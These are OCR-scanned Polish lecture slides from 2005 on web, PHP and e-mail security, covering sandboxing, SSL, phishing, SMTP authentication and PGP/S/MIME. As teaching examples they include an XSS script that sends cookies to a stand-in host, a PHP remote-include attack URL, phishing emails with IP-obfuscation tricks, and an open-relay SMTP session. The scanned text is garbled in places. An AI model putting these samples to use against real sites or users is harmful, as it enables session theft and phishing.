Bezpieczenstwo

aplikacji i ustug

sieciowych




Zagadnienia

1. Bezpieczne srodowisko aplikacyjne
QO ograniczanie srodowiska wykonania procesu — piaskownica

O chroot, jail

2. Ustuga WWW

O uwierzytelnianie
O tunele SSL/TSL

O niebezpieczne skrypty/aplety

3. Poczta elektroniczna
o PEM, PGP
o X.400 MHS, EDI
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Bezpieczne srodowisko

Ograniczanie srodowiska wykonania

ldea — minimalizowanie szkod:

O zawsze uruchamiamy proces z najmniejszymi wystarczajgcymi mu uprawnieniami

O ograniczamy przestrzen aktywnosci procesu (dozwolonych modyfikacji) do wybranego
zawezonego fragmentu systemu, w szcz. systemu plikow

— piaskownica (ang. sandbox)
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Podstawowe srodki ostroznosci

Elementarna ochrona ustug sieciowych

Procedura ochrony dostepu do ustug sieciowych:
1. usuniecie wszystkich ustug zbednych

2. zastgpienie ustug niezbednych odpowiednikami o podwyzszonym

bezpieczenstwie (jesli to mozliwe)

3. filtracja dostepu do pozostatych ustug (zapory sieciowe — firewall)
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Bezpieczne srodowisko

Funkcja chroot() — Unix:

O uprzywilejowana funkcja systemowa ograniczajgca proces do okreslonego poddrzewa

systemu plikdw
O blokuje jedynie dostep do plikow (tzw. wiezienie)
Q proces nie moze otworzy¢ (w tym utworzyc€) pliku poza ograniczonym obszarem
O chociaz moze dziedziczy¢ deskryptory wskazujgce na pliki spoza tego obszaru

O nalezy zainstalowac¢ odpowiednie pliki i katalogi potrzebne programowi i uzywanym

przez niego bibliotekom (na ogot bardzo ograniczone fragmenty /etc, /lib czy /usr/lib)
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Bezpieczne srodowisko

Funkcja chroot() — problemy:

Wociaz pozostajg problemy — wiekszos¢ dotyczy DoS:

O dysk moze sie przepetni¢ (np. zrzutami obrazu pamieci, plikami raportéw) — mozemy

ograniczac¢ programy do oddzielnej partycji

Q przepetnienie pamieci — proces moze zagarngc¢ tyle pamieci, ze zablokuje to

urzadzenie z plikiem wymiany — przewaznie mozemy ograniczac uzycie pamieci
Q zuzywanie czasu procesora — mamy do dyspozycji polecenie nice

O brak kontroli nad komunikacjg sieciowg
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Bezpieczne srodowisko

Funkcja chroot() — problemy:

Polecenie chroot:

Q

o

polecenie chroot (dostepne z powtoki) musi znajdowac sie w piaskownicy
chroot wymaga uprawnien superuzytkownika

brak mechanizmu zmiany UID i GID procesu — proces uwieziony wykonuje sie

z prawami superuzytkownika root (ew. sam musi zmieni¢ efektywny UID/GID)
potencjalne luki umozliwig ucieczke z piaskownicy (prawa root-a)

inne narzedzia — np. chrootuid, jail — przed wywotaniem funkcji chroot() pozwalajg

zmieni¢ UID oraz GID

jail -u nobody -g www -1 /tmp/jail.log -d / /usr/apache /bin/httpd
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Ustuga WWW

Uwierzytelnianie

Uwierzytelnianie podstawowe w protokole HTTP

o

o

serwer WWW moze zazadac od przegladarki dokonania uwierzytelnienia

przegladarka wyswietla stosowne okno dialogowe lub podobny obiekt,

ktory pozwoli uzytkownikowi na wprowadzenie

danych uwierzytelniajgcych

po ich pierwszym wpisaniu przegladarka
zapamieta je i automatycznie przesle do
serwera na kazde nastepne zgdanie

dane przesytane sg w postaci jawnej

dane te zostang usuniete z pamieci z chwilg

zamkniecia okna przegladarki
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<?php

if (substr (SSERVER SOFTWARE, 0, 9)=='Microsoft’ && !isset (SPHP AUTH USER) &&
!isset($PHP_AUTH_PW) && Substr(&HTTP_AUTHORIZATION,O,6)==‘Basic’ )
{
list($PHP_AUTH_USER, $PHP_AUTH_PW) =
explode (':', base64 decode (substr (SHTTP AUTHORIZATION, 6)));
}

if ($PHP_AUTH USER != 'jbond' || S$PHP AUTH PW != 'walter9mm')
{
header ('WWW-Authenticate: Basic realm="Nazwa zasobu"'):;
if (Substr($SERVER_SOFTWARE, 0, 9) == 'Microsoft')
header ('Status: 401 Unauthorized') ;
else
header ('HTTP/1.0 401 Unauthorized'):;

echo '<hl>0dejdzZz stad!</hl>"';
echo 'Nie jeste$ uprawniony do przegladania tych zasobdw.';

}

else

{




Ustuga WWW

Uwierzytelnianie

Automatyzacja operacji uwierzytelniania
O Apache: modut mod_auth itp. (np. mod_auth _mysql)

O |IS: Panel Sterowania = Narzedzia Administracyjne = Menedzer Ustug Internetowych

Uwierzytelnianie kryptograficzne (HTTP 1.1)
O najczesciej MD5
O ale brak dwustronnego uwierzytelniania

O podatnosé na atak przez powtérzenie
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SSL

(Secure Sockets Layer)

Tunel kryptograficzny ustugi WWW

O ustuga https (port 443/tcp)

O w modelu OSI przynalezy do warstwy sesji
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SSL

Protokdét uzgadniania (handshake protocol)

O klient wysyta do serwera komunikat Cl1ientHello (wersja protokotu, identyfikator sesii,

liste obstugiwanych szyfrow i metod kompresiji, dane losowe)

O serwer odsyta komunikat ServerHello (wersja protokotu, identyfikator sesji, wybrany
szyfr i metode kompresji, dane losowe oraz swdj certyfikat X.509) oraz opcjonalnie —

zgdanie certyfikatu klienta (wraz z losowym zawotaniem)

O klient uwierzytelnia serwer na podstawie odebranego certyfikatu i w razie niepowodzenia

przerywa potgczenie

O po pomysinym uwierzytelnieniu klient tworzy pierwotny sekret gtowny (premaster

secret), ktory szyfruje kluczem publicznym serwera i wysyta do serwera

O jesli serwer zgdat uwierzytelnienie klienta, to klient wysyta tez swoj certyfikat oraz

podpisane zawotanie odebrane wczesniej od serwera
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SSL

Protokdét uzgadniania (handshake protocol)

O po ewentualnym uwierzytelnieniu klienta serwer deszyfruje pierwotny sekret gtowny i na

jego podstawie uzyskuje sekret gtdwny (master secret), podobnie czyni w tym czasie
klient

O z wygenerowanego sekretu gitbwnego obie strony tworzg (zalezny od ustalonego

algorytmu szyfrujgcego) klucz sesiji (lub klucze sesji — do szyfrowania i podpisywania)

O klient i serwer wysytajg do siebie nawzajem zaszyfrowany kluczem sesji komunikat

0 zakonczeniu fazy uzgadniania

O protokdt uzgadniania konczy sie i (o ile wzajemna weryfikacja przebiegta pomysinie)
rozpoczyna sie sesja SSL
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SSL

Uwierzytelnianie

O jesli serwer nie posiadatby klucza prywatnego odpowiadajgcego kluczowi publicznemu
ze swojego certyfikatu:

> nie rozszyfruje poprawnie sekretu i nie wygeneruje tego samego klucza ses;ji co klient

» wowczas potgczenie zastanie przerwane w fazie uzgadniania

» stad klient ma pewnosc, ze serwer jest tym, czyjg autentycznos¢ poswiadcza
certyfikat (po weryfikacji jego poprawnosci)

O jesli klient nie posiadatby klucza prywatnego odpowiadajgcego kluczowi publicznemu
ze swojego certyfikatu:

> serwer pobierze jego klucz publiczny z certyfikatu i rozszyfruje podpisane kluczem
prywatnym klienta zapytanie

» nie otrzyma tego, ktére sam wystat

» zatem klient nie jest tym, czyjg autentycznos$¢ poswiadcza certyfikat

SSL
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Newralgiczna weryfikacja certyfikatow

O SSL jest podatny na atak man-in-the-middle

O sposobem redukcji zagrozenia moze by¢ np. weryfikacja czy adres |IP asocjacji

Z nawigzanego potgczenia zgadza sie z adresem IP w certyfikacie.
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SSL

Akceleratory szyfrowania

O SSL stosowany jest powyzej protokotu transportowego
O zatem jest poza zasiegiem typowych routeréw brzegowych

O ale w 2000 r. pojawity sie dedykowane urzgdzenia (lub moduty routeréw)
przechwytujgce ruch z serwera WWW (z catej sieci serwerdw) i szyfrujgce ramki

HTTP (oraz deszyfrujgce w przeciwnym kierunku)

serwery u
WWwWWwW
Nni.iet/@
I
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Tunel kryptograficzny dla innych ustug

SSL

nntps 563/tcp
|daps 636/tcp
imaps 993/tcp
pop3s 995/tcp

O mozliwe tunelowanie dowolnych portow (port forwarding) — stunnel
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SSL

Tunel kryptograficzny dla innych ustug

POP3

POP3s

+0OK POP3 server ready

USER jbond

+0K jbond

PASS Top&Secret

+0K maildrop has 2 messages

LIST

+0K 2 messages
1 120

2 200

RETR 1

+0K 120 octets

(320 octets)
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Ustuga WWW

Luki bezpieczenstwa

Przegladarki WWW

O problemy z losowg generacjg kluczy SSL

O btedy implementacji S/IMIME (Secure/Multi-purpose Internet Mail Extension)

Serwery WWW

Q tylne furtki

O bftedy przepetnienia bufora, np. w ism.dll (uruchamianym przez |IS dla URL *.htr)
pozwala na uruchomienie kodu w kontekscie procesu serwera z jego

uprawnieniami
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Ustuga WWW

Konie trojanskie / wirusy w dokumentach hipertekstowych

O zamkniete srodowisko uruchomieniowe (sandbox)
O zaufane serwery zrédtowe

O certyfikaty cyfrowe

Java
O jezyk stosunkowo bezpieczny (brak wskaznikow i problemu przepetnienia bufora)
O interpreter (byte code) — mozliwe luki bezpieczenstwa w programie interpretera

O system ochronny: sandbox, certyfikacja serwerow

ActiveX
O kompilator — praktycznie brak mozliwosci analizy bezpieczenstwa

O system ochronny: certyfikacja (authenticode)
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Java

Analiza kodu apletow jezyka Java

O dokonujg jej komponenty JVM: code verifier i class loader
O byte code istotnie odbiega od sktadni kodu zrodtowego

O analiza kodu zrédtowego tez nie bytaby prosta
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/* Have yourself an obfuscated Christmas! */

#include <stdio.h>

main(t, ,a)

char *a;

{

return!0<t?t<3?main(-79,-13,a+main(-87,1- ,main(-86,0,a+1l)+a)):

1,t< ?main(t+1l, ,a):3,main(-94,-27+t,a)&&t==2? <137

main (2, +1,”%s %d %d\n") :9:16:t<0?t<-72?main( ,t,
"@n'+/#"/*{yw-i./wHcdnr/+, {}r/*de}+, /*{*+, /w{s+, /wkg#n+, /#{1,+, /n{n+, /+#n+, /#\
yHg#nt, /Hk#; <+, /' o 'd*'3, P {wt+K w'K:"+}le#";dg#'l \

g "+d"'K#! /+k#t; gt 'r1eKK#w'rteKK{nl] "/#;#g#n') () #Iw') {) {nl] "' /+#n';d>rw" i;# \
) {nl]!/n{n#'; r{#w'r nc{nl]'"/#{1,+'K {rw' iK{; [{nl]"'/w#g#n'wk nw' \
Iwk{KK{nl]!/w{S'"1##w#"' i; : (nl]'/*{g#'ld;r'}{nlwb!/*de)'c \

;oAnl'={}rw]'/+, }## ' *}#nc, ', #nw] '/+kd"+e}+;# 'rdg#tw! nr'/ ") }+}{rl#'{n' ")# \
PUARHECIL/T)

:t<-50? ==*a?putchar(31l[a]):main(-65, ,a+l):main((*a=='/"')+t, ,a+iy
:0<t?main(2,2,"%s") :*a=="'/"||main (0, main (=61, *a/

"lek;dc i1ebK' (qg)-[w]*$n+r3#1, {}:\nuwloca-0;m .vpbks, fxntdCeghiry"),a+1);
}
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Java

Analiza kodu apletow jezyka Java

O dokonujg jej komponenty JVM: code verifier i class loader
O byte code istotnie odbiega od sktadni kodu zrodtowego

O analiza kodu zrédtowego tez nie bytaby prosta

Security Manager

O posredniczy w wywotaniach metod native

Sandbox

O luki w implementaciji: istniejg wirusy omijajgce sandbox i atakujgce JVM przegladarki
(biblioteki klas)



ActiveX

Certyfikowanie kontrolek ActiveX

O nie ma problemu pod systemem innym niz Windows

O poziom standardowy zabezpieczen IExplorera umozliwia uruchomienie tylko

kontrolek certyfikowanych przez jednostki zaufane
O chociaz jest do dyspozycji poziom niski ©
O jednostki zaufane: Microsoft, VeriSing, producenci powigzani z Microsoft

O okazuje sie, ze mozna zaskarbi¢ zaufanie podszywajgc sie pod Microsoft
(CERT Advisory CA-2001-04)

O generalnie zaufanie jedynie certyfikacji jest ztudne
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ActiveX

Blokowane kontrolek ActiveX

Filtracja na zaporze:

O jak zapory sieciowe (moduty kontroli tresci) blokujg ActiveX w sesji HTTP?

O komentujgc znaczniki <object> w dokumencie HTML
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JavaScript

Zagrozenia
Typowe luki bezpieczenstwa:

O Cross-Site Scripting (XSS):

<script>
self.location.href="http://evil.hack/nasty?"+
escape (document.cookie)

</script>

O przesytki e-mail w HTML z JavaScript (odczyt lub kasowanie wiadomosci)

O luki w implementacji pozwalajgce na uruchamianie dowolnego kodu w systemie
operacyjnym klienta [CERT VN-98.06]

O JavaScript chetnie wykorzystujg rowniez wirusy (np. Nimda)
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PHP

Zagrozenia
Typowe luki bezpieczenstwa:
O nieprawidtowa konfiguracja
O niesprawdzone parametry wejsciowe

O ataki typu parameter injection, command injection, SQL injection

O ataki typu XSS

http://pl.php.net/security/
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PHP

System plikow
Problem:

O uruchamianie zdalnych skryptow w systemie atakowanego serwera WWW

<?php
if (isset ($Scommon) )
include ("$common.inc.php")
>

http://nasz.serwer/index.php?common=http://crackerserver/agression/bigbangboom
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PHP

Dostep do zmiennych z zewnatrz

Problem:
login.php:

<?php
if (Spassword == ....) S$zalogowany = true;
?>

adm.php:

<?php
if (Szalogowany)
pokaz opcje administracyjne();
?>

http://nasz.serwer/adm.php?zalogowany=true
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PHP

Dostep do zmiennych z zewnatrz

Obrona:

O php.ini: register globals = off

O dostep do zmiennych pochodzgcych od uzytkownika
(metodami POST, GET, COOKIE i in.)

tylko poprzez tablice asocjacyjne: S POST [ 'password’]

O domysline ustawienie off od wersji 4.2.0
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PHP

Nieprawidtowe dane wejsciowe

Ataki:

Q parameter injection, command injection, SQL injection

Obrona:
Filtracja argumentow
O maglc quotes gpc = on, get magic quotes gpc () — ochrona /
O addslashes (), mysqgl escape string()

O htmlspecialchars(), strip tags()

<-2>&lt; & > &amp; " > &quot;
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PHP

Nadmiar informacji o btedach

Poziomy raportowania btedéw:

O testy q, B:

error reporting(E ALL)

O wersja finalna i stabilna:

error reporting(0)

Btedy potaczenia z baza danych

O czesto nadmiar informacji (wszystko oprocz hasta uzytkownika), ale mozna:

$conn = @mysgl connect (’srv’,’jbond’,’ psw007")

or die(’'Baza danych niedostepna.’);
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PHP

Globalne zabezpieczenia

Ograniczenia uprawnien Safe mode

O dostep tylko do plikdbw o tym samym wihascicielu co skrypt

O ograniczenie dostepu do fragmentu systemu plikow:

open basedir = /var/www/
O katalog z programami: safe mode exec = /var/www/bin
O katalog z plikami dotaczonymi: safe mode include dir = /var/www/include

O blokowanie wybranych funkciji:

disable functions = readfile,system

O zakres zmiennych modyfikowalnych:

safe mode allowed env var = PHP
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Phishing
Personal data fishing
citi’

Dear CitiBank customer,

Fecently there hawve been a large number of identity theft attempts targeting CitiBank
customers. In order to safeguard your account, we require that you confirm your
banking details.

This process is mandatory, and if not completed within the nearest time your account
may be subject to temporary suspension.

To securely confirm your Citibank account details please go to

https: ffweb. da-us. citibank. comdsignindscriptsfloginfuser setup.jsp

Thank wou for your prompt attention to this matter and thank you for using CitiBank!

Citi® [dentity Theft Solutions

Do not reply to this email as it 1= an unmonitored alias

A member of citigroup
Copyrght © 2004 Citicarp
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Phishing

Zrodto wiadomosci:

<map><area ...
href="http://%36%36%2E%31%32%33%2E%32%30%33%2E%31%35%32:%38%
37/%63%69%74/%69%6E%64%65%78%2E%68%74%6D"></map>

http://66.123.203.152:38/cit/index.htm
http://www.yahoo.com/

http:/[% T T% 77 %77 %2E%79%61%68%6F %6F %2E%63%6F %6D/

Sposoby kodowania adresu:

http://216.109.118.67/
http://0330.0115.0166.0103/
http://3631052355/
http://0xD86D 7643/

© Michat Szychowiak 2005 BEZPIECZENSTWO SYSTEMOW INFORMATYCZNYCH (Aplikacje)



Phishing

Przyktady sie mnoza:

& CITIZENS BANK

Mot your typical bank.®

Dear Citizens Bank customersl

Technical services of the Bank are carrying out a planned software upgrade.
Yie earnestly ask you to visit the following link to start the procedure of
confirmation of customers' data:

http: Mvaeied citi zensbank comfcustomerservice/cust sery ghway .asp

© 2004 Citizens Financial Group.
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Phishing

Przyktady sie mnoza:

Inteligo stosuje podpis
elektroniczny w oficjalnej

korespondenciji e-mailowej

© Michat Szychowiak 2005

Temat:

Bank [MNTELIGO
9 jutego 2004 14:06

¥ -..*um.@n bl #e

lnbedico

Inteligo

Drog khencie banku Inteligo.

Z preykrodci stwierdzamy, ze w zwigzku 2 licenymi nadugyciami naszych Elientdw oraz
wobec naszych Elientéw konieczne stalo sig przeprowadzenie weryfikacy danych
osobowych posiadaczy kont Inteligo. W celu zweryfikowania danych zwracamy sie z
uprzejma prosiba o zalogowante sie w naszym systermie. Pomze) znajduje sig odnosmic,
ktéry po klikmecm, przeniesie Panstwa do strony logowana,

] .
s*+2* Logowanie

Z géry dogkujemy 1 przepraszamy za wszelkie medogodnodci,

Serdecznie pozdrawiamy,
Zespdt Obshug Konta Inteligo

nteligo@nteligo.pl

0 800 121 121

=
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Phishing

Narzedzia

O htitp://toolbar.netcraft.com — toolbar do IE analizujgcy odwiedzane strony

| ostrzegajacy przed zagrozeniem

Sygnalizowanie atakow / ostrzezenia:

O www.antiphishing.org

O reportphishing@antiphishing.org
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Poczta elektroniczna

Podstawowe problemy

O niepozadane przesyiki (spam)

O niebezpieczne zatgczniki (wirusy)

O potwierdzanie dostarczenia

O naruszenie poufnosci / integralnosci / autentycznosci
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Poczta elektroniczna

Model komunikacji SMTP (RFC 821)

nadawca odbiorca
MUA | mail MTA rely * MTA
[ [
klient MDA deliver > MUA
serwer klient

MUA = Mail User Agent
MTA = Mail Transfer Agent
MDA = Mail Delivery Agent
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Poczta elektroniczna

Naiwna weryfikacja tozsamosci MTA

O SMTP zawiera komende HELO, ktorej celem jest wymiana adreséw domenowych

serwerow:

> HELLO ml6.intelligence.mil.uk

< 250 secret-service.mil.uk

O serwery naiwnie domniemajg prawdziwos¢ podawanych adresow
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Poczta elektroniczna

ESMTP: Simple Authentication and Security Layer (SASL)

O komenda AUTH uwierzytelnia strony metodg challenge-response (RFC 2554)

\Y%

EHLO ml6.intelligence.mil.uk
250 secret-service.mil.uk says hello
< 250 AUTH CRAM-MD5 DIGEST-MD5

A\

> AUTH CRAM-MDb
< 334 PeUxFRJoUONnbmhwWwx3b29k9zb2Z0LmNvbT4=

> ZnJlZCA5Z2Tk1YWV1MD1jNDBhhMGMyYjNiYmF1Nzg2ZQ==

< 235 Authentication successful

QO SASL moze uwierzytelnia¢ poszczegolne przesytki z osobna

> MAIL FROM:<e=m@hg.ml6.mil> AUTH=e+3Dm@hg.ml6.mil
< 250 OK
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Poczta elektroniczna

ESMTP: wspoétpraca z protokotem TLS (RFC 2487, RFC 3207)

> EHLO ml6.intelligence.mil.uk
< 250 secret-service.mil.uk says hello
< 250 STARTTLS

> STARTTLS
< 220 Go ahead

> rozpoczeclie negocjacjl parametrow sesji TLS

cata dalsza komunikacja odbywa sie w postaci

zaszyfrowanej:
> . J...F..0@.t..D01.U.%2
< LU...oeeene... 0.*.H%2.n.01..<..)B.$S
> f..0..*.H..0..,..... F.K.Kz..|E...
< 10 *H.o o000, PO
> gal..... 5.7 Me:.... ~.k...%+.Q.m 5
~.}.0.5..... . .pe ol b....m..... 0 *.H
............. XU'ee)oeeeeeeead8eeoooo.im#fuu
MNA Veo.o.o.. bs..~..3C.A.L...P...... H|.!
! Y.&k.N...\..d'U.Z..... S T
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Poczta elektroniczna

Uwierzytelnianie

Obejscia uwierzytelniania:

O brak obstugi ESMTP lub wytgczone uwierzytelnianie (open relay)

O zta konfiguracja, np.

gmail-smtpd put.poznan.pl

/bin/checkpassword /bin/true

gmail-smtpd put.poznan.pl

/bin/true

Q serwery open proxy

© Michat Szychowiak 2005
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Poczta elektroniczna

Open proxy

telnet 204.170.42.31 80

> CONNECT kogut.o2.pl:25 HTTP/1.0

>

< HTTP/1.0 200 Connection established
< 220 02.pl ESMTP Wita
> HELO hakin9.org

< 250 kogut.o2.pl

> MAIL FROM:

<anialo2.pl>

< 250 OK

(przyktad z www .hakin9.org)

uwierzytelnianie
uproszczone lub
nieaktywne np.

z lokalnej domeny

© Michat Szychowiak 2005
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Poczta elektroniczna

Spam
Ochrona anty-spamowa

Poziom MTA

O zaleta: oszczednos¢ zasobow — odrzucamy spam na pierwszej linii obrony
O wada: mato informacji do dyspozycji — duze prawdopodobienstwo pomyiki

O analiza nagtéwka SMTP, np.

» adresow: czy sg weryfikowalne w DNS,
czy odpowiadajg rekordom MX

czy nie jest na czarnej liscie

> weryfikacja konta nadawcy (komenda VRFY protokotu SMTP)
O szare listy (greylisting) — duza skutecznosc, mate efekty uboczne (opdznienie)
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Poczta elektroniczna

Ochrona anty-spamowa

Poziom MDA

O analiza heurystyczna (na podstawie przygotowanej bazy danych

charakterystycznych)
O analiza statystyczna (samouczgce sie filtry Bayesa)

O challenge-response (kontrowersyjne i rzadko stosowane)

> wyjatki: ,0szusci nigeryjscy”
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Poczta elektroniczna

Ochrona anty-spamowa

Ukrywanie adresow

<A HREF=
"&#109;&#97;&#105;&#108;&#116;&#111;&#58;jbond%40secretservice.mil">
jbond<!-->&#64;<!-->secretservice.mil

</A>
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Poczta elektroniczna

Standardy ochrony kryptograficznej
O PEM - Privacy Enhanced Mail
O PGP - Pretty Good Privacy

o S/MIME — Secure MIME

Standardy wykorzystujace kryptografie

O X.400 MHS — Message Handling System

O EDI (EDIFACT — X.435) — Electronic Data Interchange
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PEM

format RFC822

kontrola integralnosci MIC — MD2, MD5 (128b) (RFC1421)

opcjonalne szyfrowanie wiadomosci — DES-ECB, 3DES (RFC1423)
zarzadzanie kluczami i certyfikacja wg ISO X.509 (RFC1422, RFC1424)

¢ O 0O O

From:
To:
Subject:
Date:

————— BEGIN PRIVACY-ENHANCED MESSAGE-----

Proc-Type: 4, ENCRYPTED
Content-Domain: RFC822

Jdb%$d+$Sbnc/dsf=-905wn@dj~" £j*5%*dkf
nvkvkffMkjGUYgjw=\&uyefbv\

vy *7Ed#mM>) ckej “d[£E.dk>?
<"sd{dk{TR&%+50

Przykladowe implementacje: RIPEM, TIS-PEM
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PGP

O projekt akademicki — Phil Zimmermann (MIT)

Phil Zimmermann odpowiadat w USA
przed sqdem za rozpowszechnienie PGP

O standard IETF RFC1991 (PGP 2.6.x)
O w 1998 IETF zatwierdzit standard OpenPGP (RFC2440) bazujacy na PGP 5.x

O PGPi (www.pgpi.org) = International PGP — projekt przeniesiony poza USA

O Desktop PGP = komercyjna wersja rozprowadzana przez Network Associates

(rozszerzona np. o IDS)

O GnuPG = wersja GNU
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PGP

O szyfrowanie wiadomosci pocztowej

> jednorazowy klucz symetryczny generowany dla kazdego szyfrowanego listu

» nastepnie szyfrowany metodg asymetryczng — kluczem publicznym odbiorcy —
Diffie-Hellman/DSS, RSA (768b, 1024b, ...)

> tak zaszyfrowany klucz jest dotgczany do zaszyfrowanego listu

O mozliwe szyfrowanie symetryczne plikow — IDEA

O kontrola integralnosci — MD5, SHA-1
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© Michat Szychowiak 2005

PGP

PGP - schemat podpisywania i szyfrowania

obliczenie asymetryczne
skrotu szyfrowanie skrétu
| | mosww [ A(M) | msawb E.(h(m))
SHA-1 DH/DSS
A
symetryczne
szyfrowanie archiwum
IDEA a
k > wtrybie |« PKZIP
§ CFB
- kompresja
S
lﬁ.
kodowanie
E. (k)IIE(a)
| RSAlub
> DHIDSS RADIX 64 >
asymetryczne
szyfrowanie klucza sesij
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PGP

PGP - schemat deszyfrowania i weryfikacji

mi|s

dekodowanie dekompresija
RADIX 64 PKZIP
—\
s‘h
£~
) ®
=
<
W E. (a) IDEA
~ 1 wiryble
D
o
X )
w
Y
RSAlub ks
DH/DSS
asymetryczne
deszyfrowanie Klucza ses;ji

syrnetryczne‘ .

MDS5 lub

SHA-1 Wynik weryfikacji podpisu:

- prawda
- falsz

RSA lub
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Zawarto$é
A

Operacja
Ny
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Elementy klucza sesiji

PGP

Podpis cyfrowy Komunikat
~ A N~ Ny ~ — .
koid| ks | ts |ksoidlfl Hm | @ ||  wiadomose¢m
B, . Eq,
3 kompresja PK2AP
<
| Ei,
: <
< kodowanie RADIX-64

Ogolny format komunikatu PGP
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S/MIME

O integracja z oprogramowaniem klienta pocztowego (MIME)

O weczesniejszy standard MOSS (MIME Object Security Services, RFC1847/48) nie

uzyskat szerszego wsparcia, podobnie jak PEM

O wersja S/IMIME 1 zostata opracowana przez RSA Security w 1995r. i wykorzystywata
mechanizmy kryptograficzne wchodzace w sktad PKCS (Public Key Cryptography
Standards)

o S/MIME 2 - RFC2311/12, 1998tr.

o S/MIME 3 — RFC 2630-34 — m.in. rozszerzone funkcje bazujgce na mechanizmach

MSP (Message Security Protocol opracowany pierwotnie dla Defense Message System)

O istniejg tez protokoty PGP/MIME i OpenPGP/MIME
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Budowa wiadomosci X.400

X.400

koperta X.411

Koperta X.411

nagtowek X.420

pola wspolne dla odbiorcow

list 1 (body 1)

dla odbiorcy 1

list 2 (body 2)

dla odbiorcy 2

list n (body n)

dla odbiorcy m

© Michat Szychowiak 2005
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X.400

Ochrona danych

O zewnetrzne systemy ochrony, np. PEM (ochrona poszczegolnych blokow tresci)

O wlasne mechanizmy bezpieczenstwa:

> etykieta bezpieczenstwa wiadomosci; zawiera pola:
e security-policy identifier
e security classification:
0 = unmatched
1 = unclassified
2 = restricted
3 = confidential

4 = secret
5 = top secret

> podpis i szyfrowanie catosci lub czesci bloku tresci (body) — tzw. tokenow
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X.400

Token X.400 moze zawierac:

» W czesci niezaszyfrowaney:

numer sekwencyjny (jesli jest jawny)

etykiete bezpieczenstwa wiadomosci (jesli jest jawna)

identyfikator algorytmu wybranego do ochrony

sume kontrolng MIC

zgdanie potwierdzenia odbioru

» W czesci zaszyfrowanej:

© Michat Szychowiak 2005

numer sekwencyjny (jesli nie jest jawny)

etykiete bezpieczenstwa wiadomosci (jesli nie jest jawna)

klucz kryptograficzny
podpis elektroniczny

zaszyfrowang tresc¢
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